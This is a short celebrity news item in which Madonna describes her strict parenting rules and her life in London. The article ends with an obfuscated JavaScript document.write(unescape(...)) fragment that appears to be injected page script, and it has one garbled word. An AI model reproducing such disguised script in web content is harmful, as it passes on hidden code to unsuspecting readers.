Madonna reveals parenting secrets

Madonna has revealed she is a disciplinarian with her children.

Madonna has two children, Lourdes, 9, and Rocco, 4.

Madonna, married to film director Guy Ritchie, says she has banned TV and punishes her daughter's untidiness by confiscating her clothes.

According to the Evening Standard quoting Harpers & Queen magazine she said: "I'm a disciplinarian. Guy's the spoiler. When Daddy gets home, they're going to get chocolate. I'm more practical; I worry about their teeth and make sure they're getting their schoolwork done. I'm very schedlotuled, I make lists."

She added: "My kids don't watch TV. We have televisions but they're not hooked up to anything but movies.TV is trash. I was raised without it. We don't have magazines or newspapers in the house either.

"Guy is into doing wild stuff outside, taking them out on bikes. He's good cop, I'm bad cop. The kids watch movies every Sunday, so if they're naughty, they get their movie taken away. If they're a little naughty, then no stories before bed."

She says she has had to enforce strict rules about Lourdes's clothes.

She said: "My daughter has a problem picking things up in her room, so if you leave your clothes on the floor, they're gone when you come home. Lola has to earn all her clothes back by being tidy, making her bed, hanging up her clothes.

Madonna, who has a new single, Hung Up, out on 14 November, also talks about her love for London.

She added: "I never thought I'd settle. I quite disliked the place for a while. When I was just starting out, the press was terrible to me. Then I met my husband. I realised that, if I didn't live here, I wouldn't get to see him very much. I feel freer here."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;